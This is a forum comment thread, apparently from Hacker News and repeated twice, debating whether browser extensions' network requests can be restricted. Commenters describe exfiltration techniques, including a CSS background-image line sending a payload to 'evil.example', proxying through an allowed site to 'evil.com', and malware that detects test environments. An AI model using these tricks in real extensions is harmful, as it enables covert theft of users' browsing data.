6 ms·

Wouldn’t that be impossible to do as you’d have to somehow execute every code path in the plugin? The domains don’t have to exist as strings - there are lots of

by 542458 6y ago

Wouldn’t that be impossible to do as you’d have to somehow execute every code path in the plugin? The domains don’t have to exist as strings - there are lots of ways to obfuscate network requests.

gruez 6y ago
Depending on how you approach it you either end up having to solve the halting problem (spoiler: it's impossible), or restricting what domains an addon can connect to (also impossible given the way addons work. they can inject arbitrary scripts into pages to make requests for them).
- Triv888 6y ago
  But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial... either way, if it is not a solvable problem, there is a major problem in the design.
  - gruez 6y ago
    >But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial but you can't. See the last part of my comment: "they can inject arbitrary scripts into pages to make requests for them". >either way, if it is not a solvable problem, there is a major problem in the design. Not really. It's like complaining that debuggers can impersonate programs they attach themselves to.
    - Triv888 6y ago
      > they can inject arbitrary scripts into pages to make requests for them disallow that behavior? You could also just pull that code but it might change based on request origin...
      - fennecfoxen 6y ago
        Lots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.
        Triv888 6y ago
        It could do all the processing locally, easily... what are you talking about?
        gruez 6y ago
        >It could do all the processing locally, easily... That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281 https://news.ycombinator.com/item?id=25623281
      - gruez 6y ago
        Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload= http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).
      - shawnz 6y ago
        That's one of the most fundamental functions a browser extension could have
- paulryanrogers 6y ago
  It's possible to make extensions declare which hostnames or registrable domains they need to communicate with. (Apart from pages in which they can run which is already defined with WebExtensions.)
ashtonkem 6y ago
I think you’re right if you’re trying to enumerate where a plug-in will call. However it’s also possible to require that a plug-in provide a list of domains it will call as part of its manifest, display that list to the user and use it as a white list for network access by the plug-in. This ends up effect as magically determining where it’ll call, with a lot less work.
- wlesieutre 6y ago
  Except the add on can inject js into webpages that you have open and let the page make connections outside the extension sandbox.
  - lukevp 6y ago
    Also it’s pretty easy to just proxy requests through a whitelisted server side site so https://good.com https://good.com is all that shows but it requests good.com?dest=https://evil.com https://evil.com
    - srtjstjsj 6y ago
      Calling a website good.com doesn't make it good. A site with open redirects is a bad site.
    - deleted 6y ago
      [deleted]
  - ashtonkem 6y ago
    Ah, that’s clearly a big issue. Never mind.
  - Triv888 6y ago
    Is that why Mozilla is blocking all addons on mobile (except for the selected 11)? They need to fix that shit or start adding useful features to Firefox... Not sure why they arent blocking all extensions on desktop too if they are so bad though.
fiddlerwoaroof 6y ago
If you enumerate the ways browsers can make network requests, and if you have access to the source code of the extension, you could prepend the code with a bit of JavaScript that replaces the various network-related functions and methods with code that logs and/or validates the URL before making a request.
- whoopdedo 6y ago
  The attacker will then inspect itself to see if network loggers are being used, or if it's running in a test environment (network location, machine fingerprint, et.al.) then adapt its behavior accordingly to avoid setting off any warnings.
  - fiddlerwoaroof 6y ago
    No, I’m saying modify the source of the extension so that the extension can only make requests to a whitelist of urls. The extension might be able to disable malicious functionality or something, but you can be certain that it’s not making malicious requests.
  - prox 6y ago
    On my android tablet they checked if my keyboard was us/eu (rain down the malware) or russian/chinese (Keep the app as-is) And this was Google Play verified with a million downloads.

by 542458 6y ago

gruez 6y ago

Depending on how you approach it you either end up having to solve the halting problem (spoiler: it's impossible), or restricting what domains an addon can connect to (also impossible given the way addons work. they can inject arbitrary scripts into pages to make requests for them).

Triv888 6y ago
But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial... either way, if it is not a solvable problem, there is a major problem in the design.
- gruez 6y ago
  >But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial but you can't. See the last part of my comment: "they can inject arbitrary scripts into pages to make requests for them". >either way, if it is not a solvable problem, there is a major problem in the design. Not really. It's like complaining that debuggers can impersonate programs they attach themselves to.
  - Triv888 6y ago
    > they can inject arbitrary scripts into pages to make requests for them disallow that behavior? You could also just pull that code but it might change based on request origin...
    - fennecfoxen 6y ago
      Lots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.
      - Triv888 6y ago
        It could do all the processing locally, easily... what are you talking about?
        gruez 6y ago
        >It could do all the processing locally, easily... That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281 https://news.ycombinator.com/item?id=25623281
    - gruez 6y ago
      Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload= http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).
    - shawnz 6y ago
      That's one of the most fundamental functions a browser extension could have
paulryanrogers 6y ago
It's possible to make extensions declare which hostnames or registrable domains they need to communicate with. (Apart from pages in which they can run which is already defined with WebExtensions.)

ashtonkem 6y ago

I think you’re right if you’re trying to enumerate where a plug-in will call. However it’s also possible to require that a plug-in provide a list of domains it will call as part of its manifest, display that list to the user and use it as a white list for network access by the plug-in. This ends up effect as magically determining where it’ll call, with a lot less work.

wlesieutre 6y ago
Except the add on can inject js into webpages that you have open and let the page make connections outside the extension sandbox.
- lukevp 6y ago
  Also it’s pretty easy to just proxy requests through a whitelisted server side site so https://good.com https://good.com is all that shows but it requests good.com?dest=https://evil.com https://evil.com
  - srtjstjsj 6y ago
    Calling a website good.com doesn't make it good. A site with open redirects is a bad site.
  - deleted 6y ago
    [deleted]
- ashtonkem 6y ago
  Ah, that’s clearly a big issue. Never mind.
- Triv888 6y ago
  Is that why Mozilla is blocking all addons on mobile (except for the selected 11)? They need to fix that shit or start adding useful features to Firefox... Not sure why they arent blocking all extensions on desktop too if they are so bad though.

fiddlerwoaroof 6y ago

If you enumerate the ways browsers can make network requests, and if you have access to the source code of the extension, you could prepend the code with a bit of JavaScript that replaces the various network-related functions and methods with code that logs and/or validates the URL before making a request.

whoopdedo 6y ago
The attacker will then inspect itself to see if network loggers are being used, or if it's running in a test environment (network location, machine fingerprint, et.al.) then adapt its behavior accordingly to avoid setting off any warnings.
- fiddlerwoaroof 6y ago
  No, I’m saying modify the source of the extension so that the extension can only make requests to a whitelist of urls. The extension might be able to disable malicious functionality or something, but you can be certain that it’s not making malicious requests.
- prox 6y ago
  On my android tablet they checked if my keyboard was us/eu (rain down the malware) or russian/chinese (Keep the app as-is) And this was Google Play verified with a million downloads.